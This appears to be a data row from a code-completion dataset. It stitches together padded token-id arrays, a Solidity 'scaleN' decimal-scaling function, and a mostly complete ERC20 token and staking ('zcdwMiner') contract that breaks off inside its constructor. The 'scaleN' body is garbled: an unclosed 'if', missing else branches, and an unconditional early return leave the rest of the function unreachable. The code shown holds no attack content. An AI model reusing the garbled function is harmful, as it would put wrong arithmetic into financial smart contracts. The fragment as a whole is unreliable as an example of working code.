0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0
] | [
1,
17801,
6835,
14060,
654,
39,
3462,
5912,
288,
203,
225,
445,
4183,
654,
39,
3462,
5912,
12,
203,
565,
467,
654,
39,
3462,
6445,
71,
3462,
16,
203,
565,
1758,
358,
16,
203,
565,
2254,
5034,
3844,
16,
203,
565,
533,
3778,
883,
203,
203,
225,
262,
2713,
288,
203,
565,
2583,
12,
869,
480,
1758,
12,
20,
3631,
315,
2568,
1404,
1366,
358,
3634,
1758,
8863,
203,
565,
1426,
2216,
273,
6445,
71,
3462,
18,
13866,
12,
869,
16,
3844,
1769,
203,
565,
2583,
12,
4768,
16,
883,
1769,
203,
225,
289,
203,
203,
225,
445,
4183,
654,
39,
3462,
5912,
12,
203,
565,
467,
654,
39,
3462,
6445,
71,
3462,
16,
203,
565,
1758,
358,
16,
203,
565,
2254,
5034,
3844,
203,
225,
262,
2713,
288,
203,
565,
4183,
654,
39,
3462,
5912,
12,
12610,
3462,
16,
358,
16,
3844,
16,
315,
2925,
358,
7412,
4232,
39,
3462,
8863,
203,
225,
289,
203,
203,
225,
445,
4183,
654,
39,
3462,
5912,
1265,
12,
203,
565,
467,
654,
39,
3462,
6445,
71,
3462,
16,
203,
565,
1758,
628,
16,
203,
565,
1758,
358,
16,
203,
565,
2254,
5034,
3844,
16,
203,
565,
533,
3778,
883,
203,
225,
262,
2713,
288,
203,
565,
2583,
12,
869,
480,
1758,
12,
20,
3631,
315,
2568,
1404,
1366,
358,
3634,
1758,
8863,
203,
565,
1426,
2216,
273,
6445,
71,
3462,
18,
13866,
1265,
12,
2080,
16,
358,
16,
3844,
1769,
203,
565,
2583,
12,
4768,
16,
883,
1769,
203,
225,
289,
203,
203,
225,
445,
4183,
654,
2
] |
./full_match/44787/0x31aa5951100e11b8A34Bc9D98a44De152Dc5d3a2/sources/contracts/math/FixedPointMath.sol | Scale a fixed point decimals of `DECIMALS` to some other scale. @param a_ A `DECIMALS` fixed point decimals. @param targetDecimals_ The new scale of `a_`. @return `a_` rescaled from `DECIMALS` to `targetDecimals_`. | function scaleN(uint256 a_, uint256 targetDecimals_)
internal
pure
returns (uint256)
{
uint256 decimals_;
if (targetDecimals_ == FP_DECIMALS) {
return a_;
unchecked {
decimals_ = FP_DECIMALS - targetDecimals_;
}
return a_ / 10**decimals_;
unchecked {
decimals_ = targetDecimals_ - FP_DECIMALS;
}
return a_ * 10**decimals_;
}
}
| 13,255,906 | [
1,
5587,
279,
5499,
1634,
15105,
434,
1375,
23816,
55,
68,
358,
2690,
1308,
3159,
18,
225,
279,
67,
432,
1375,
23816,
55,
68,
5499,
1634,
15105,
18,
225,
1018,
31809,
67,
1021,
394,
3159,
434,
1375,
69,
67,
8338,
327,
1375,
69,
67,
68,
400,
12825,
628,
1375,
23816,
55,
68,
358,
1375,
3299,
31809,
67,
8338,
2,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0
] | [
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0
] | [
1,
565,
445,
3159,
50,
12,
11890,
5034,
279,
67,
16,
2254,
5034,
1018,
31809,
67,
13,
203,
3639,
2713,
203,
3639,
16618,
203,
3639,
1135,
261,
11890,
5034,
13,
203,
565,
288,
203,
3639,
2254,
5034,
15105,
67,
31,
203,
3639,
309,
261,
3299,
31809,
67,
422,
28740,
67,
23816,
55,
13,
288,
203,
5411,
327,
279,
67,
31,
203,
5411,
22893,
288,
203,
7734,
15105,
67,
273,
28740,
67,
23816,
55,
300,
1018,
31809,
67,
31,
203,
5411,
289,
203,
5411,
327,
279,
67,
342,
1728,
636,
31734,
67,
31,
203,
5411,
22893,
288,
203,
7734,
15105,
67,
273,
1018,
31809,
67,
300,
28740,
67,
23816,
55,
31,
203,
5411,
289,
203,
5411,
327,
279,
67,
380,
1728,
636,
31734,
67,
31,
203,
3639,
289,
203,
565,
289,
203,
203,
2,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100
] |
/*
website: ____
SPDX-License-Identifier: MIT
*/
pragma solidity ^0.6.12;
/*
* @dev Provides information about the current execution conzcdw, including the
* sender of the transaction and its data. While these are generally available
* via msg.sender and msg.data, they should not be accessed in such a direct
* manner, since when dealing with GSN meta-transactions the account sending and
* paying for execution may not be the actual sender (as far as an application
* is concerned).
*
* This contract is only required for intermediate, library-like contracts.
*/
abstract contract Conzcdw {
function _msgSender() internal view virtual returns (address payable) {
return msg.sender;
}
function _msgData() internal view virtual returns (bytes memory) {
this; // silence state mutability warning without generating bytecode - see https://github.com/ethereum/solidity/issues/2691
return msg.data;
}
}
/**
* @dev Interface of the ERC20 standard as defined in the EIP.
*/
interface IERC20 {
/**
* @dev Returns the amount of tokens in existence.
*/
function totalSupply() external view returns (uint256);
/**
* @dev Returns the amount of tokens owned by `account`.
*/
function balanceOf(address account) external view returns (uint256);
/**
* @dev Moves `amount` tokens from the caller's account to `recipient`.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* Emits a {Transfer} event.
*/
function transfer(address recipient, uint256 amount) external returns (bool);
/**
* @dev Returns the remaining number of tokens that `spender` will be
* allowed to spend on behalf of `owner` through {transferFrom}. This is
* zero by default.
*
* This value changes when {approve} or {transferFrom} are called.
*/
function allowance(address owner, address spender) external view returns (uint256);
/**
* @dev Sets `amount` as the allowance of `spender` over the caller's tokens.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* IMPORTANT: Beware that changing an allowance with this method brings the risk
* that someone may use both the old and the new allowance by unfortunate
* transaction ordering. One possible solution to mitigate this race
* condition is to first reduce the spender's allowance to 0 and set the
* desired value afterwards:
* https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729
*
* Emits an {Approval} event.
*/
function approve(address spender, uint256 amount) external returns (bool);
/**
* @dev Moves `amount` tokens from `sender` to `recipient` using the
* allowance mechanism. `amount` is then deducted from the caller's
* allowance.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* Emits a {Transfer} event.
*/
function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
/**
* @dev Emitted when `value` tokens are moved from one account (`from`) to
* another (`to`).
*
* Note that `value` may be zero.
*/
event Transfer(address indexed from, address indexed to, uint256 value);
/**
* @dev Emitted when the allowance of a `spender` for an `owner` is set by
* a call to {approve}. `value` is the new allowance.
*/
event Approval(address indexed owner, address indexed spender, uint256 value);
}
/**
* @dev Wrappers over Solidity's arithmetic operations with added overflow
* checks.
*
* Arithmetic operations in Solidity wrap on overflow. This can easily result
* in bugs, because programmers usually assume that an overflow raises an
* error, which is the standard behavior in high level programming languages.
* `SafeMath` restores this intuition by reverting the transaction when an
* operation overflows.
*
* Using this library instead of the unchecked operations eliminates an entire
* class of bugs, so it's recommended to use it always.
*/
library SafeMath {
/**
* @dev Returns the addition of two unsigned integers, reverting on
* overflow.
*
* Counterpart to Solidity's `+` operator.
*
* Requirements:
*
* - Addition cannot overflow.
*/
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
/**
* @dev Returns the subtraction of two unsigned integers, reverting on
* overflow (when the result is negative).
*
* Counterpart to Solidity's `-` operator.
*
* Requirements:
*
* - Subtraction cannot overflow.
*/
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return sub(a, b, "SafeMath: subtraction overflow");
}
/**
* @dev Returns the subtraction of two unsigned integers, reverting with custom message on
* overflow (when the result is negative).
*
* Counterpart to Solidity's `-` operator.
*
* Requirements:
*
* - Subtraction cannot overflow.
*/
function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b <= a, errorMessage);
uint256 c = a - b;
return c;
}
/**
* @dev Returns the multiplication of two unsigned integers, reverting on
* overflow.
*
* Counterpart to Solidity's `*` operator.
*
* Requirements:
*
* - Multiplication cannot overflow.
*/
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
// Gas optimization: this is cheaper than requiring 'a' not being zero, but the
// benefit is lost if 'b' is also tested.
// See: https://github.com/OpenZeppelin/openzeppelin-contracts/pull/522
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
/**
* @dev Returns the integer division of two unsigned integers. Reverts on
* division by zero. The result is rounded towards zero.
*
* Counterpart to Solidity's `/` operator. Note: this function uses a
* `revert` opcode (which leaves remaining gas untouched) while Solidity
* uses an invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
*
* - The divisor cannot be zero.
*/
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return div(a, b, "SafeMath: division by zero");
}
/**
* @dev Returns the integer division of two unsigned integers. Reverts with custom message on
* division by zero. The result is rounded towards zero.
*
* Counterpart to Solidity's `/` operator. Note: this function uses a
* `revert` opcode (which leaves remaining gas untouched) while Solidity
* uses an invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
*
* - The divisor cannot be zero.
*/
function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b > 0, errorMessage);
uint256 c = a / b;
// assert(a == b * c + a % b); // There is no case in which this doesn't hold
return c;
}
/**
* @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo),
* Reverts when dividing by zero.
*
* Counterpart to Solidity's `%` operator. This function uses a `revert`
* opcode (which leaves remaining gas untouched) while Solidity uses an
* invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
*
* - The divisor cannot be zero.
*/
function mod(uint256 a, uint256 b) internal pure returns (uint256) {
return mod(a, b, "SafeMath: modulo by zero");
}
/**
* @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo),
* Reverts with custom message when dividing by zero.
*
* Counterpart to Solidity's `%` operator. This function uses a `revert`
* opcode (which leaves remaining gas untouched) while Solidity uses an
* invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
*
* - The divisor cannot be zero.
*/
function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b != 0, errorMessage);
return a % b;
}
}
/**
* @dev Collection of functions related to the address type
*/
library Address {
/**
* @dev Returns true if `account` is a contract.
*
* [IMPORTANT]
* ====
* It is unsafe to assume that an address for which this function returns
* false is an externally-owned account (EOA) and not a contract.
*
* Among others, `isContract` will return false for the following
* types of addresses:
*
* - an externally-owned account
* - a contract in construction
* - an address where a contract will be created
* - an address where a contract lived, but was destroyed
* ====
*/
function isContract(address account) internal view returns (bool) {
// According to EIP-1052, 0x0 is the value returned for not-yet created accounts
// and 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470 is returned
// for accounts without code, i.e. `keccak256('')`
bytes32 codehash;
bytes32 accountHash = 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470;
// solhint-disable-next-line no-inline-assembly
assembly { codehash := extcodehash(account) }
return (codehash != accountHash && codehash != 0x0);
}
/**
* @dev Replacement for Solidity's `transfer`: sends `amount` wei to
* `recipient`, forwarding all available gas and reverting on errors.
*
* https://eips.ethereum.org/EIPS/eip-1884[EIP1884] increases the gas cost
* of certain opcodes, possibly making contracts go over the 2300 gas limit
* imposed by `transfer`, making them unable to receive funds via
* `transfer`. {sendValue} removes this limitation.
*
* https://diligence.consensys.net/posts/2019/09/stop-using-soliditys-transfer-now/[Learn more].
*
* IMPORTANT: because control is transferred to `recipient`, care must be
* taken to not create reentrancy vulnerabilities. Consider using
* {ReentrancyGuard} or the
* https://solidity.readthedocs.io/en/v0.5.11/security-considerations.html#use-the-checks-effects-interactions-pattern[checks-effects-interactions pattern].
*/
function sendValue(address payable recipient, uint256 amount) internal {
require(address(this).balance >= amount, "Address: insufficient balance");
// solhint-disable-next-line avoid-low-level-calls, avoid-call-value
(bool success, ) = recipient.call{ value: amount }("");
require(success, "Address: unable to send value, recipient may have reverted");
}
/**
* @dev Performs a Solidity function call using a low level `call`. A
* plain`call` is an unsafe replacement for a function call: use this
* function instead.
*
* If `target` reverts with a revert reason, it is bubbled up by this
* function (like regular Solidity function calls).
*
* Returns the raw returned data. To convert to the expected return value,
* use https://solidity.readthedocs.io/en/latest/units-and-global-variables.html?highlight=abi.decode#abi-encoding-and-decoding-functions[`abi.decode`].
*
* Requirements:
*
* - `target` must be a contract.
* - calling `target` with `data` must not revert.
*
* _Available since v3.1._
*/
function functionCall(address target, bytes memory data) internal returns (bytes memory) {
return functionCall(target, data, "Address: low-level call failed");
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], but with
* `errorMessage` as a fallback revert reason when `target` reverts.
*
* _Available since v3.1._
*/
function functionCall(address target, bytes memory data, string memory errorMessage) internal returns (bytes memory) {
return _functionCallWithValue(target, data, 0, errorMessage);
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`],
* but also transferring `value` wei to `target`.
*
* Requirements:
*
* - the calling contract must have an ETH balance of at least `value`.
* - the called Solidity function must be `payable`.
*
* _Available since v3.1._
*/
function functionCallWithValue(address target, bytes memory data, uint256 value) internal returns (bytes memory) {
return functionCallWithValue(target, data, value, "Address: low-level call with value failed");
}
/**
* @dev Same as {xref-Address-functionCallWithValue-address-bytes-uint256-}[`functionCallWithValue`], but
* with `errorMessage` as a fallback revert reason when `target` reverts.
*
* _Available since v3.1._
*/
function functionCallWithValue(address target, bytes memory data, uint256 value, string memory errorMessage) internal returns (bytes memory) {
require(address(this).balance >= value, "Address: insufficient balance for call");
return _functionCallWithValue(target, data, value, errorMessage);
}
function _functionCallWithValue(address target, bytes memory data, uint256 weiValue, string memory errorMessage) private returns (bytes memory) {
require(isContract(target), "Address: call to non-contract");
// solhint-disable-next-line avoid-low-level-calls
(bool success, bytes memory returndata) = target.call{ value: weiValue }(data);
if (success) {
return returndata;
} else {
// Look for revert reason and bubble it up if present
if (returndata.length > 0) {
// The easiest way to bubble the revert reason is using memory via assembly
// solhint-disable-next-line no-inline-assembly
assembly {
let returndata_size := mload(returndata)
revert(add(32, returndata), returndata_size)
}
} else {
revert(errorMessage);
}
}
}
}
/**
* @title SafeERC20
* @dev Wrappers around ERC20 operations that throw on failure (when the token
* contract returns false). Tokens that return no value (and instead revert or
* throw on failure) are also supported, non-reverting calls are assumed to be
* successful.
* To use this library you can add a `using SafeERC20 for IERC20;` statement to your contract,
* which allows you to call the safe operations as `token.safeTransfer(...)`, etc.
*/
library SafeERC20 {
using SafeMath for uint256;
using Address for address;
function safeTransfer(IERC20 token, address to, uint256 value) internal {
_callOptionalReturn(token, abi.encodeWithSelector(token.transfer.selector, to, value));
}
function safeTransferFrom(IERC20 token, address from, address to, uint256 value) internal {
_callOptionalReturn(token, abi.encodeWithSelector(token.transferFrom.selector, from, to, value));
}
/**
* @dev Deprecated. This function has issues similar to the ones found in
* {IERC20-approve}, and its usage is discouraged.
*
* Whenever possible, use {safeIncreaseAllowance} and
* {safeDecreaseAllowance} instead.
*/
function safeApprove(IERC20 token, address spender, uint256 value) internal {
// safeApprove should only be called when setting an initial allowance,
// or when resetting it to zero. To increase and decrease it, use
// 'safeIncreaseAllowance' and 'safeDecreaseAllowance'
// solhint-disable-next-line max-line-length
require((value == 0) || (token.allowance(address(this), spender) == 0),
"SafeERC20: approve from non-zero to non-zero allowance"
);
_callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, value));
}
function safeIncreaseAllowance(IERC20 token, address spender, uint256 value) internal {
uint256 newAllowance = token.allowance(address(this), spender).add(value);
_callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, newAllowance));
}
function safeDecreaseAllowance(IERC20 token, address spender, uint256 value) internal {
uint256 newAllowance = token.allowance(address(this), spender).sub(value, "SafeERC20: decreased allowance below zero");
_callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, newAllowance));
}
/**
* @dev Imitates a Solidity high-level call (i.e. a regular function call to a contract), relaxing the requirement
* on the return value: the return value is optional (but if data is returned, it must not be false).
* @param token The token targeted by the call.
* @param data The call data (encoded using abi.encode or one of its variants).
*/
function _callOptionalReturn(IERC20 token, bytes memory data) private {
// We need to perform a low level call here, to bypass Solidity's return data size checking mechanism, since
// we're implementing it ourselves. We use {Address.functionCall} to perform this call, which verifies that
// the target address contains contract code and also asserts for success in the low-level call.
bytes memory returndata = address(token).functionCall(data, "SafeERC20: low-level call failed");
if (returndata.length > 0) { // Return data is optional
// solhint-disable-next-line max-line-length
require(abi.decode(returndata, (bool)), "SafeERC20: ERC20 operation did not succeed");
}
}
}
/**
* @dev Contract module which provides a basic access control mechanism, where
* there is an account (an owner) that can be granted exclusive access to
* specific functions.
*
* By default, the owner account will be the one that deploys the contract. This
* can later be changed with {transferOwnership}.
*
* This module is used through inheritance. It will make available the modifier
* `onlyOwner`, which can be applied to your functions to restrict their use to
* the owner.
*/
contract Ownable is Conzcdw {
address private _owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
/**
* @dev Initializes the contract setting the deployer as the initial owner.
*/
constructor () internal {
address msgSender = _msgSender();
_owner = msgSender;
emit OwnershipTransferred(address(0), msgSender);
}
/**
* @dev Returns the address of the current owner.
*/
function owner() public view returns (address) {
return _owner;
}
/**
* @dev Throws if called by any account other than the owner.
*/
modifier onlyOwner() {
require(_owner == _msgSender(), "Ownable: caller is not the owner");
_;
}
/**
* @dev Leaves the contract without owner. It will not be possible to call
* `onlyOwner` functions anymore. Can only be called by the current owner.
*
* NOTE: Renouncing ownership will leave the contract without an owner,
* thereby removing any functionality that is only available to the owner.
*/
function renounceOwnership() public virtual onlyOwner {
emit OwnershipTransferred(_owner, address(0));
_owner = address(0);
}
/**
* @dev Transfers ownership of the contract to a new account (`newOwner`).
* Can only be called by the current owner.
*/
function transferOwnership(address newOwner) public virtual onlyOwner {
require(newOwner != address(0), "Ownable: new owner is the zero address");
emit OwnershipTransferred(_owner, newOwner);
_owner = newOwner;
}
}
/**
* @dev Implementation of the {IERC20} interface.
*
* This implementation is agnostic to the way tokens are created. This means
* that a supply mechanism has to be added in a derived contract using {_mint}.
* For a generic mechanism see {ERC20PresetMinterPauser}.
*
* TIP: For a detailed writeup see our guide
* https://forum.zeppelin.solutions/t/how-to-implement-erc20-supply-mechanisms/226[How
* to implement supply mechanisms].
*
* We have followed general OpenZeppelin guidelines: functions revert instead
* of returning `false` on failure. This behavior is nonetheless conventional
* and does not conflict with the expectations of ERC20 applications.
*
* Additionally, an {Approval} event is emitted on calls to {transferFrom}.
* This allows applications to reconstruct the allowance for all accounts just
* by listening to said events. Other implementations of the EIP may not emit
* these events, as it isn't required by the specification.
*
* Finally, the non-standard {decreaseAllowance} and {increaseAllowance}
* functions have been added to mitigate the well-known issues around setting
* allowances. See {IERC20-approve}.
*/
contract ERC20 is Conzcdw, IERC20 {
using SafeMath for uint256;
using Address for address;
mapping (address => uint256) private _balances;
mapping (address => mapping (address => uint256)) private _allowances;
uint256 private _totalSupply;
string private _name;
string private _symbol;
uint8 private _decimals;
/**
* @dev Sets the values for {name} and {symbol}, initializes {decimals} with
* a default value of 18.
*
* To select a different value for {decimals}, use {_setupDecimals}.
*
* All three of these values are immutable: they can only be set once during
* construction.
*/
constructor (string memory name, string memory symbol) public {
_name = name;
_symbol = symbol;
_decimals = 18;
}
/**
* @dev Returns the name of the token.
*/
function name() public view returns (string memory) {
return _name;
}
/**
* @dev Returns the symbol of the token, usually a shorter version of the
* name.
*/
function symbol() public view returns (string memory) {
return _symbol;
}
/**
* @dev Returns the number of decimals used to get its user representation.
* For example, if `decimals` equals `2`, a balance of `505` tokens should
* be displayed to a user as `5,05` (`505 / 10 ** 2`).
*
* Tokens usually opt for a value of 18, imitating the relationship between
* Ether and Wei. This is the value {ERC20} uses, unless {_setupDecimals} is
* called.
*
* NOTE: This information is only used for _display_ purposes: it in
* no way affects any of the arithmetic of the contract, including
* {IERC20-balanceOf} and {IERC20-transfer}.
*/
function decimals() public view returns (uint8) {
return _decimals;
}
/**
* @dev See {IERC20-totalSupply}.
*/
function totalSupply() public view override returns (uint256) {
return _totalSupply;
}
/**
* @dev See {IERC20-balanceOf}.
*/
function balanceOf(address account) public view override returns (uint256) {
return _balances[account];
}
/**
* @dev See {IERC20-transfer}.
*
* Requirements:
*
* - `recipient` cannot be the zero address.
* - the caller must have a balance of at least `amount`.
*/
function transfer(address recipient, uint256 amount) public virtual override returns (bool) {
_transfer(_msgSender(), recipient, amount);
return true;
}
/**
* @dev See {IERC20-allowance}.
*/
function allowance(address owner, address spender) public view virtual override returns (uint256) {
return _allowances[owner][spender];
}
/**
* @dev See {IERC20-approve}.
*
* Requirements:
*
* - `spender` cannot be the zero address.
*/
function approve(address spender, uint256 amount) public virtual override returns (bool) {
_approve(_msgSender(), spender, amount);
return true;
}
/**
* @dev See {IERC20-transferFrom}.
*
* Emits an {Approval} event indicating the updated allowance. This is not
* required by the EIP. See the note at the beginning of {ERC20};
*
* Requirements:
* - `sender` and `recipient` cannot be the zero address.
* - `sender` must have a balance of at least `amount`.
* - the caller must have allowance for ``sender``'s tokens of at least
* `amount`.
*/
function transferFrom(address sender, address recipient, uint256 amount) public virtual override returns (bool) {
_transfer(sender, recipient, amount);
_approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance"));
return true;
}
/**
* @dev Atomically increases the allowance granted to `spender` by the caller.
*
* This is an alternative to {approve} that can be used as a mitigation for
* problems described in {IERC20-approve}.
*
* Emits an {Approval} event indicating the updated allowance.
*
* Requirements:
*
* - `spender` cannot be the zero address.
*/
function increaseAllowance(address spender, uint256 addedValue) public virtual returns (bool) {
_approve(_msgSender(), spender, _allowances[_msgSender()][spender].add(addedValue));
return true;
}
/**
* @dev Atomically decreases the allowance granted to `spender` by the caller.
*
* This is an alternative to {approve} that can be used as a mitigation for
* problems described in {IERC20-approve}.
*
* Emits an {Approval} event indicating the updated allowance.
*
* Requirements:
*
* - `spender` cannot be the zero address.
* - `spender` must have allowance for the caller of at least
* `subtractedValue`.
*/
function decreaseAllowance(address spender, uint256 subtractedValue) public virtual returns (bool) {
_approve(_msgSender(), spender, _allowances[_msgSender()][spender].sub(subtractedValue, "ERC20: decreased allowance below zero"));
return true;
}
/**
* @dev Moves tokens `amount` from `sender` to `recipient`.
*
* This is internal function is equivalent to {transfer}, and can be used to
* e.g. implement automatic token fees, slashing mechanisms, etc.
*
* Emits a {Transfer} event.
*
* Requirements:
*
* - `sender` cannot be the zero address.
* - `recipient` cannot be the zero address.
* - `sender` must have a balance of at least `amount`.
*/
function _transfer(address sender, address recipient, uint256 amount) internal virtual {
require(sender != address(0), "ERC20: transfer from the zero address");
require(recipient != address(0), "ERC20: transfer to the zero address");
_beforeTokenTransfer(sender, recipient, amount);
_balances[sender] = _balances[sender].sub(amount, "ERC20: transfer amount exceeds balance");
_balances[recipient] = _balances[recipient].add(amount);
emit Transfer(sender, recipient, amount);
}
/** @dev Creates `amount` tokens and assigns them to `account`, increasing
* the total supply.
*
* Emits a {Transfer} event with `from` set to the zero address.
*
* Requirements
*
* - `to` cannot be the zero address.
*/
function _mint(address account, uint256 amount) internal virtual {
require(account != address(0), "ERC20: mint to the zero address");
_beforeTokenTransfer(address(0), account, amount);
_totalSupply = _totalSupply.add(amount);
_balances[account] = _balances[account].add(amount);
emit Transfer(address(0), account, amount);
}
/**
* @dev Destroys `amount` tokens from `account`, reducing the
* total supply.
*
* Emits a {Transfer} event with `to` set to the zero address.
*
* Requirements
*
* - `account` cannot be the zero address.
* - `account` must have at least `amount` tokens.
*/
function _burn(address account, uint256 amount) internal virtual {
require(account != address(0), "ERC20: burn from the zero address");
_beforeTokenTransfer(account, address(0), amount);
_balances[account] = _balances[account].sub(amount, "ERC20: burn amount exceeds balance");
_totalSupply = _totalSupply.sub(amount);
emit Transfer(account, address(0), amount);
}
/**
* @dev Sets `amount` as the allowance of `spender` over the `owner`s tokens.
*
* This is internal function is equivalent to `approve`, and can be used to
* e.g. set automatic allowances for certain subsystems, etc.
*
* Emits an {Approval} event.
*
* Requirements:
*
* - `owner` cannot be the zero address.
* - `spender` cannot be the zero address.
*/
function _approve(address owner, address spender, uint256 amount) internal virtual {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
/**
* @dev Sets {decimals} to a value other than the default one of 18.
*
* WARNING: This function should only be called from the constructor. Most
* applications that interact with token contracts will not expect
* {decimals} to ever change, and may work incorrectly if it does.
*/
function _setupDecimals(uint8 decimals_) internal {
_decimals = decimals_;
}
/**
* @dev Hook that is called before any transfer of tokens. This includes
* minting and burning.
*
* Calling conditions:
*
* - when `from` and `to` are both non-zero, `amount` of ``from``'s tokens
* will be to transferred to `to`.
* - when `from` is zero, `amount` tokens will be minted for `to`.
* - when `to` is zero, `amount` of ``from``'s tokens will be burned.
* - `from` and `to` are never both zero.
*
* To learn more about hooks, head to xref:ROOT:extending-contracts.adoc#using-hooks[Using Hooks].
*/
function _beforeTokenTransfer(address from, address to, uint256 amount) internal virtual { }
}
contract zcdwERC20 is ERC20("ZCDW", "ZCDW"), Ownable {
/// @notice Creates `_amount` token to `_to`. Must only be called by the owner.
function mint(address _to, uint256 _amount) public onlyOwner {
_mint(_to, _amount);
}
}
contract zcdwMiner is Ownable {
using SafeMath for uint256;
using SafeERC20 for IERC20;
// Info of each user.
struct UserInfo {
uint256 amount; // How many LP tokens the user has provided.
uint256 rewardDebt; // Reward debt. See explanation below.
//
// We do some fancy math here. Basically, any point in time, the amount of ZCDW
// entitled to a user but is pending to be distributed is:
//
// pending reward = (user.amount * pool.accZCDWPerShare) - user.rewardDebt
//
// Whenever a user deposits or withdraws LP tokens to a pool. Here's what happens:
// 1. The pool's `accSZCDWPerShare` (and `lastRewardBlock`) gets updated.
// 2. User receives the pending reward sent to his/her address.
// 3. User's `amount` gets updated.
// 4. User's `rewardDebt` gets updated.
}
// Info of each pool.
struct PoolInfo {
IERC20 lpToken; // Address of LP token contract.
uint256 allocPoint; // How many allocation points assigned to this pool. POBs to distribute per block.
uint256 lastRewardBlock; // Last block number that POBs distribution occurs.
uint256 accZcdwPerShare; // Accumulated Zcdw per share, times 1e12. See below.
}
// The Zcdw TOKEN!
zcdwERC20 public zcdw;
// Dev address.
address public devaddr;
// Block number when bonus zcdw period ends.
uint256 public bonusEndBlock;
// zcdw tokens created per block.
uint256 public zcdwPerBlock;
// Bonus muliplier for early Zcdw makers.
uint256 public constant BONUS_MULTIPLIER = 1;
// Info of each pool.
PoolInfo[] public poolInfo;
// Info of each user that stakes LP tokens.
mapping (uint256 => mapping (address => UserInfo)) public userInfo;
// Total allocation poitns. Must be the sum of all allocation points in all pools.
uint256 public totalAllocPoint = 0;
// The block number when Zcdw mining starts.
uint256 public startBlock;
event Deposit(address indexed user, uint256 indexed pid, uint256 amount);
event Withdraw(address indexed user, uint256 indexed pid, uint256 amount);
event EmergencyWithdraw(address indexed user, uint256 indexed pid, uint256 amount);
constructor(
zcdwERC20 _zcdw,
address _devaddr,
uint256 _zcdwPerBlock,
uint256 _startBlock,
uint256 _bonusEndBlock
) public {
zcdw = _zcdw;
